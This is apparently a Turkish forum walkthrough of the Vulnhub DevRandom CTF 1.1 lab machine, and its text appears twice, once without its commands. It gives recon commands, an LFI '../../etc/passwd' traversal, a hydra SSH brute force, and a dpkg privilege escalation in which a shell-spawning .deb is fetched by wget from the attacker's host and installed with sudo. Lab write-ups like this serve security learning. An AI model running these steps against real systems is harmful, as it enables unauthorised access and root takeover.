Merhabalar herkese, bu sayımızda sizlerle birlikte Vulnhubta bulunan DevRandom CTF: 1.1 isimli makineyi çözeceğiz. Lafı uzatmadan makine hakkında bilgileri verelim ardından makinenin çözümüne geçelim.
Makine Adı: DevRandom CTF: 1.1
Seri İsmi: DevRandom CTF
Makine Yayınlanma Tarihi: 27 Mart 2020
Makineyi Oluşturan: Hunri Beats
Bu kadar bilgi yeter bence, haydi makinenin çözümüne geçelim.
Öncelikle zafiyetli makinemizin IP adresini öğrenelim. Bunun için terminali açarak
yazalım. Bizlere ağımızda bulunan cihazların IP adreslerini ve MAC adreslerini listeledi.
IP adresimizi aldık sırada port taraması yapmaya geldi. Zafiyetli makinenin portlarını tarayarak bir açık bulmaya çalışalım. Terminale
yazarak makine hakkında bilgi alalım.
SSH ve HTTP portları açık olduğunu gördük. 80 portunun açık olmasından bir web sayfasının ayakta olduğunu anlayabiliriz. Tarayıcımızı açarak 192.168.1.142 yazalım.
Resimdeki gibi bir site karşıladı bizleri. Kaynak kodlarına baktım ancak bir veri elde edemedim. Ardından dizin taraması yapmak için dirb aracını açtım. Terminale gelerek
yazalım.
Burada dikkatimi çeken yer "robots.txt" kısmı oldu. Tarayıcıya tekrar gelerek
yazalım. Dizinlere baktım fakat bir şey bulamadım. En son çare olarak ?include=info dizinine gitmeye karar verdim.
Yeni bir sayfa açıldı ve biraz bekledikten sonra bir sayfa çağırdığını gördüm. Buradan LFI(Local File Inclusion) açığı olabileceğini düşündüm ki ?include da düşüncemi güçlendirdi.
Genel olarak bu tür açıklarda "../../../etc/passwd" şeklinde gidilerek bilgiler alınır. Burada ki amaç: "../" ile bir önceki dizine geçiş yapmaktır. Ne kadar yapacağınız belli olmaz yani spesifik bir sayısı yoktur. Makineden makineye değişim göstermektedir. Bu makinede dokuz tane yaptığımızda bilgilere erişebildik.
"trevor" isimli bir kullanıcı adını yakaladım. Bu veriyi SSH bağlantısında kullanacağım ancak şifre elimizde yok. Bu yüzden kaba kuvvet saldırısı yapacağız.
Terminali tekrar açalım ve
yazalım. Buradaki kod yapısındaki amaç hydra isimli aracı ile 192.168.1.142 IP adresli makinenin SSH portuna trevor isimli kullanıcı adı ile şifre denemesi yapmaktır.
Şifreyi bulduk şifremiz: qwertyuiop[]
SSH ile makineye bağlanmak için terminali tekrar açalım ve
yazalım. Bizlerden şifre istediğinde "qwertyuiop[]" yazalım. Gördüğünüz gibi makineye başarılı bir şekilde giriş yaptık.
Karşı makineye girdik ancak yetkimiz sınırlı. Yetki yükseltme işlemi yapmamız gerekiyor ve aklıma dpkg ile zararlı bir paket yüklemek geldi. İnternette biraz araştırma yaparak https://gtfobins.github.io/gtfobins/dpkg/ zararlının nasıl oluşturulup kullanılacağını buldum. Kendi makineme gelerek terminale
yazdıktan sonra
ve dosyayı oluşturmak için
yazdım.
Resimde de gördüğünüz gibi dosyamız oluştu. Şimdi Python Server'ı açarak zafiyetli makineden bunu çekeceğim. Python Server'ı açmak için
yazıyorum.
Zafiyetli makinede kendi makinemden yetki sorunu çekmeden çekebileceğim tek yer "/tmp" dizini. Onun için "/tmp" dizinine geçmek için l
yazdım. Ardından dosyayı almak için
yazdım ve dosyayı başarılı bir şekilde çektim.
Zararlıyı çalıştırmak için ise:
yazdım. Zararlımız çalıştı "id" değerimize baktığımızda "root" yetkisinde olduğumuzu gördük. Root dizinine giderek flag dosyamızı aldım.
Makine Adı: DevRandom CTF: 1.1
Seri İsmi: DevRandom CTF
Makine Yayınlanma Tarihi: 27 Mart 2020
Makineyi Oluşturan: Hunri Beats
Bu kadar bilgi yeter bence, haydi makinenin çözümüne geçelim.
Öncelikle zafiyetli makinemizin IP adresini öğrenelim. Bunun için terminali açarak
Kod:
sudo netdiscover
IP adresimizi aldık sırada port taraması yapmaya geldi. Zafiyetli makinenin portlarını tarayarak bir açık bulmaya çalışalım. Terminale
Kod:
nmap -A -p- 192.168.1.142
SSH ve HTTP portları açık olduğunu gördük. 80 portunun açık olmasından bir web sayfasının ayakta olduğunu anlayabiliriz. Tarayıcımızı açarak 192.168.1.142 yazalım.
Resimdeki gibi bir site karşıladı bizleri. Kaynak kodlarına baktım ancak bir veri elde edemedim. Ardından dizin taraması yapmak için dirb aracını açtım. Terminale gelerek
Kod:
dirb http://192.168.1.142
Burada dikkatimi çeken yer "robots.txt" kısmı oldu. Tarayıcıya tekrar gelerek
Kod:
http://192.168.1.142/robots.txt
Yeni bir sayfa açıldı ve biraz bekledikten sonra bir sayfa çağırdığını gördüm. Buradan LFI(Local File Inclusion) açığı olabileceğini düşündüm ki ?include da düşüncemi güçlendirdi.
Genel olarak bu tür açıklarda "../../../etc/passwd" şeklinde gidilerek bilgiler alınır. Burada ki amaç: "../" ile bir önceki dizine geçiş yapmaktır. Ne kadar yapacağınız belli olmaz yani spesifik bir sayısı yoktur. Makineden makineye değişim göstermektedir. Bu makinede dokuz tane yaptığımızda bilgilere erişebildik.
"trevor" isimli bir kullanıcı adını yakaladım. Bu veriyi SSH bağlantısında kullanacağım ancak şifre elimizde yok. Bu yüzden kaba kuvvet saldırısı yapacağız.
Terminali tekrar açalım ve
Kod:
hydra -l trevor -P /home/can/Desktop/rockyou.txt 192.168.1.142 ssh
Şifreyi bulduk şifremiz: qwertyuiop[]
SSH ile makineye bağlanmak için terminali tekrar açalım ve
Kod:
Karşı makineye girdik ancak yetkimiz sınırlı. Yetki yükseltme işlemi yapmamız gerekiyor ve aklıma dpkg ile zararlı bir paket yüklemek geldi. İnternette biraz araştırma yaparak https://gtfobins.github.io/gtfobins/dpkg/ zararlının nasıl oluşturulup kullanılacağını buldum. Kendi makineme gelerek terminale
Kod:
TF=$(mktemp -d)
Kod:
echo 'exec /bin/sh' > $TF/x.sh
Kod:
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
Resimde de gördüğünüz gibi dosyamız oluştu. Şimdi Python Server'ı açarak zafiyetli makineden bunu çekeceğim. Python Server'ı açmak için
Kod:
python -m SimpleHTTPServer
Zafiyetli makinede kendi makinemden yetki sorunu çekmeden çekebileceğim tek yer "/tmp" dizini. Onun için "/tmp" dizinine geçmek için l
Kod:
s /tmp
Kod:
wget http://192.168.1.54:8000/x_1.0_all.deb
Zararlıyı çalıştırmak için ise:
Kod:
sudo dpkg -i x_1.0_all.deb
Moderatör tarafında düzenlendi: